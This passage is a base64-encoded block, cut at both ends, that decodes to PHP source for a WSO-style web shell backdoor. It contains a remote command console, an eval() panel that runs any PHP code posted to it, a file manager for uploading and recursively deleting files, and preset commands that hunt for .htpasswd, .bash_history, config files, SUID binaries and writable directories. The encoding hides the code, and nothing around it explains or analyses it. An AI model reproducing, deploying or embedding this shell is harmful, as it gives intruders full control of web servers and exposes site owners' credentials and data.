PU1RbJ3AzJ10pICkgew0KICAgICAgICAgICAgICAgICR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7DQogICAgICAgICAgICAgICAgaWYoJHRpbWUpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoIXRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdGYWlsISc7DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ1RvdWNoZWQhJzsNCiAgICAgICAgICAgICAgICB9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ%2BPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI%2BPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI%2BPC9mb3JtPic7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgLyogKNChKSAxMi4yMDE1IG1pdHJ5eiAqLw0KICAgICAgICBjYXNlICdmcmFtZSc6DQogICAgICAgICAgICAkZnJhbWVTcmMgPSBzdWJzdHIoaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLCBzdHJsZW4oaHRtbHNwZWNpYWxjaGFycygkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKSkpOw0KICAgICAgICAgICAgaWYgKCRmcmFtZVNyY1swXSAhPSAnLycpDQogICAgICAgICAgICAgICAgJGZyYW1lU3JjID0gJy8nIC4gJGZyYW1lU3JjOw0KICAgICAgICAgICAgaWYgKCRmcmFtZVNyY1tzdHJsZW4oJGZyYW1lU3JjKSAtIDFdICE9ICcvJykNCiAgICAgICAgICAgICAgICAkZnJhbWVTcmMgPSAkZnJhbWVTcmMgLiAnLyc7DQogICAgICAgICAgICAkZnJhbWVTcmMgPSAkZnJhbWVTcmMgLiBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk7DQogICAgICAgICAgICBlY2hvICc8aWZyYW1lIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjkwMHB4IiBzY3JvbGxpbmc9Im5vIiBzcmM9Jy4kZnJhbWVTcmMuJyBvbmxvYWQ9Im9ubG9hZD1oZWlnaHQ9Y29udGVudERvY3VtZW50LmJvZHkuc2Nyb2xsSGVpZ2h0Ij48L2lmcmFtZT4nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgfQ0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgaGFyZEZvb3RlcigpOw0KfQ0KaWYoJG9zID09ICd3aW4nKQ0KICAgICRhbGlhc2VzID0gYXJyYXkoDQogICAgICAgICJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsDQogICAgICAgICJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLA0KICAgICAgICAiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0%2BICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwNCiAgICAgICAgIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLA0KICAgICAgICAiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwNCiAgICAgICAgIlVzZXIgYWNjb3VudHMiID0%2BICJuZXQgdXNlciIsDQogICAgICAgICJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwNCiAgICAgICAgIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsDQogICAgICAgICJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCiAgICApOw0KZWxzZQ0KICAgICRhbGlhc2VzID0gYXJyYXkoDQogICAgICAgICJMaXN0IGRpciIgPT4gImxzIC1saGEiLA0KICAgICAgICAibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iID0%2BICJsc2F0dHIgLXZhIiwNCiAgICAgICAgInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsDQogICAgICAgICJwcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsDQogICAgICAgICJGaW5kIiA9PiAiIiwNCiAgICAgICAgImZpbmQgYWxsIHN1aWQgZmlsZXMiID0%2BICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwNCiAgICAgICAgImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLA0KICAgICAgICAiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLA0KICAgICAgICAiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogICAgICAgICJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLA0KICAgICAgICAiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLA0KICAgICAgICAiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLA0KICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0%2BICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwNCiAgICAgICAgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1scyIsDQogICAgICAgICJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgICAgICAgImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0%2BICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsDQogICAgICAgICJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0%2BICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAgICAgICAiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0%2BICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAgICAgICAiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAgICAgICAiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsDQogICAgICAgICJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0%2BICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KICAgICAgICAiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0%2BICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KICAgICAgICAiTG9jYXRlIiA9PiAiIiwNCiAgICAgICAgImxvY2F0ZSBodHRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIGh0dHBkLmNvbmYiLA0KICAgICAgICAibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwNCiAgICAgICAgImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0%2BICJsb2NhdGUgcHJvZnRwZC5jb25mIiwNCiAgICAgICAgImxvY2F0ZSBwc3libmMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwc3libmMuY29uZiIsDQogICAgICAgICJsb2NhdGUgbXkuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwNCiAgICAgICAgImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0%2BImxvY2F0ZSBhZG1pbi5waHAiLA0KICAgICAgICAibG9jYXRlIGNmZy5waHAgZmlsZXMiID0%2BICJsb2NhdGUgY2ZnLnBocCIsDQogICAgICAgICJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0%2BICJsb2NhdGUgY29uZi5waHAiLA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0%2BICJsb2NhdGUgY29uZmlnLmRhdCIsDQogICAgICAgICJsb2NhdGUgY29uZmlnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcucGhwIiwNCiAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwNCiAgICAgICAgImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMiID0%2BICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIiwNCiAgICAgICAgImxvY2F0ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLA0KICAgICAgICAibG9jYXRlIC5jb25mIGZpbGVzIj0%2BImxvY2F0ZSAnLmNvbmYnIiwNCiAgICAgICAgImxvY2F0ZSAucHdkIGZpbGVzIiA9PiAibG9jYXRlICcucHdkJyIsDQogICAgICAgICJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLA0KICAgICAgICAibG9jYXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsDQogICAgICAgICJsb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLmJhc2hfaGlzdG9yeSciLA0KICAgICAgICAibG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcubXlzcWxfaGlzdG9yeSciLA0KICAgICAgICAibG9jYXRlIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsDQogICAgICAgICJsb2NhdGUgYmFja3VwIGZpbGVzIiA9PiAibG9jYXRlIGJhY2t1cCIsDQogICAgICAgICJsb2NhdGUgZHVtcCBmaWxlcyIgPT4gImxvY2F0ZSBkdW1wIiwNCiAgICAgICAgImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiDQogICAgKTsNCmZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsNCiAgICAgICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0JywgdHJ1ZSk7DQogICAgICAgICRfUE9TVFsncDEnXSAuPSAnIDI%2BJjEnOw0KICAgIH0gZWxzZWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KICAgICAgICBwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnLCAwKTsNCiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsNCiAgICAgICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgdHJ1ZSk7DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIGVjaG8gImQuY2YuY21kLnZhbHVlPScnO1xuIjsNCiAgICAgICAgJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcJ1wwIikpOw0KICAgICAgICBpZihwcmVnX21hdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwMSddLCRtYXRjaCkpIHsNCiAgICAgICAgICAgIGlmKEBjaGRpcigkbWF0Y2hbMV0pKSB7DQogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOw0KICAgICAgICAgICAgICAgIGVjaG8gImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gImQuY2Yub3V0cHV0LnZhbHVlKz0nIi4kdGVtcC4iJzsiOw0KICAgICAgICBlY2hvICJkLmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkLmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsNCiAgICAgICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsNCiAgICAgICAgZXhpdDsNCiAgICB9DQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgMCk7DQogICAgaGFyZEhlYWRlcigpOw0KICAgIGVjaG8gIjxzY3JpcHQ%2BDQppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOw0KdmFyIGNtZHMgPSBuZXcgQXJyYXkoJycpOw0KdmFyIGN1ciA9IDA7DQpmdW5jdGlvbiBrcChlKSB7DQogICAgdmFyIG4gPSAod2luZG93LkV2ZW50KSA%2FIGUud2hpY2ggOiBlLmtleUNvZGU7DQogICAgaWYobiA9PSAzOCkgew0KICAgICAgICBjdXItLTsNCiAgICAgICAgaWYoY3VyPj0wKQ0KICAgICAgICAgICAgZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KICAgICAgICBlbHNlDQogICAgICAgICAgICBjdXIrKzsNCiAgICB9IGVsc2UgaWYobiA9PSA0MCkgew0KICAgICAgICBjdXIrKzsNCiAgICAgICAgaWYoY3VyIDwgY21kcy5sZW5ndGgpDQogICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIGN1ci0tOw0KICAgIH0NCn0NCmZ1bmN0aW9uIGFkZChjbWQpIHsNCiAgICBjbWRzLnBvcCgpOw0KICAgIGNtZHMucHVzaChjbWQpOw0KICAgIGNtZHMucHVzaCgnJyk7DQogICAgY3VyID0gY21kcy5sZW5ndGgtMTsNCn0NCjwvc2NyaXB0PiI7DQogICAgZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkLmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkLmNmLm91dHB1dC52YWx1ZT1cJ1wnO2QuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ%2FMTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ%2FMTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxsYWJlbD48c2VsZWN0IG5hbWU9YWxpYXM%2BJzsNCiAgICBmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsNCiAgICAgICAgaWYoJHYgPT0gJycpIHsNCiAgICAgICAgICAgIGVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA%2BJzsNCiAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI%2BJy4kbi4nPC9vcHRpb24%2BJzsNCiAgICB9DQogICAgZWNobyAnPC9zZWxlY3Q%2BPC9sYWJlbD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGQuY2YuYWxpYXMudmFsdWUpO2lmKGQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSIgdmFsdWU9InN1Ym1pdCI%2BIDxub2JyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8JF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic%2BIHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI%2BJjEpPC9ub2JyPjxici8%2BPHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW4tdG9wOjVweDsiIHJlYWRvbmx5Pic7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSk7DQogICAgfQ0KICAgIGVjaG8gJzwvdGV4dGFyZWE%2BPHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMwNjBhMTA7YmFja2dyb3VuZC1jb2xvcjojMDYwYTEwO2JvcmRlci10b3A6MHB4OyIgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPSIxMDAlIj48dHI%2BPHRkIHN0eWxlPSJwYWRkaW5nLWxlZnQ6NHB4OyB3aWR0aDoxM3B4OyI%2BJDwvdGQ%2BPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI%2BPC90ZD48L3RyPjwvdGFibGU%2BJzsNCiAgICBlY2hvICc8L2Zvcm0%2BPC9kaXY%2BPHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7DQogICAgaGFyZEZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWN0aW9uUGhwKCkgew0KICAgIGlmKCBpc3NldCgkX1BPU1RbJ2FqYXgnXSkgKSB7DQogICAgICAgICRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOw0KICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7DQogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOw0KICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgICBoYXJkSGVhZGVyKCk7DQogICAgaWYoIGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpICkgew0KICAgICAgICBlY2hvICc8aDE%2BUEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICBwaHBpbmZvKCk7DQogICAgICAgICR0bXAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIWJvZHkgey4qfSFtc2lVJywnJywkdG1wKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIWE6XHcrIHsuKn0hbXNpVScsJycsJHRtcCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFoMSFtc2lVJywnaDInLCR0bXApOw0KICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFib2R5LCB0ZCwgdGgsIGgyLCBoMiB7Lip9IW1zaVUnLCcnLCR0bXApOw0KICAgICAgICBlY2hvICR0bXA7DQogICAgICAgIGVjaG8gJzwvZGl2Pjxicj4nOw0KICAgIH0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KICAgICAgICAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7DQogICAgICAgIGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE%2BPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOw0KICAgIGVjaG8gJyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9bWwxPic7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgZXZhbCgkX1BPU1RbJ3AxJ10pOw0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOw0KICAgIH0NCiAgICBlY2hvICc8L3ByZT48L2Rpdj4nOw0KICAgIGhhcmRGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgew0KICAgIGlmICghZW1wdHkgKCRfQ09PS0lFWydmJ10pKQ0KICAgICAgICAkX0NPT0tJRVsnZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydmJ10pOw0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgIHN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsNCiAgICAgICAgICAgIGNhc2UgJ3VwbG9hZEZpbGUnOg0KICAgICAgICAgICAgICAgIGlmICggaXNfYXJyYXkoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddKSApIHsNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoICRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSBhcyAkaSA9PiAkdG1wTmFtZSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCR0bXBOYW1lLCAkX0ZJTEVTWydmJ11bJ25hbWUnXVskaV0pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICdta2Rpcic6DQogICAgICAgICAgICAgICAgaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICdkZWxldGUnOg0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgew0KICAgICAgICAgICAgICAgICAgICAkcGF0aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOw0KICAgICAgICAgICAgICAgICAgICAkZGggID0gb3BlbmRpcigkcGF0aCk7DQogICAgICAgICAgICAgICAgICAgIHdoaWxlICggKCTilp8gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICTilp8gPSAkcGF0aC4k4pafOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCAoYmFzZW5hbWUoJOKWnykgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCTilp8pID09ICIuIikgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBmaWxldHlwZSgk4pafKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdHlwZSA9PSAiZGlyIikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJOKWnyk7DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygk4pafKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOw0KICAgICAgICAgICAgICAgICAgICBAcm1kaXIoJHBhdGgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQ0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZGUoJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGYpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgY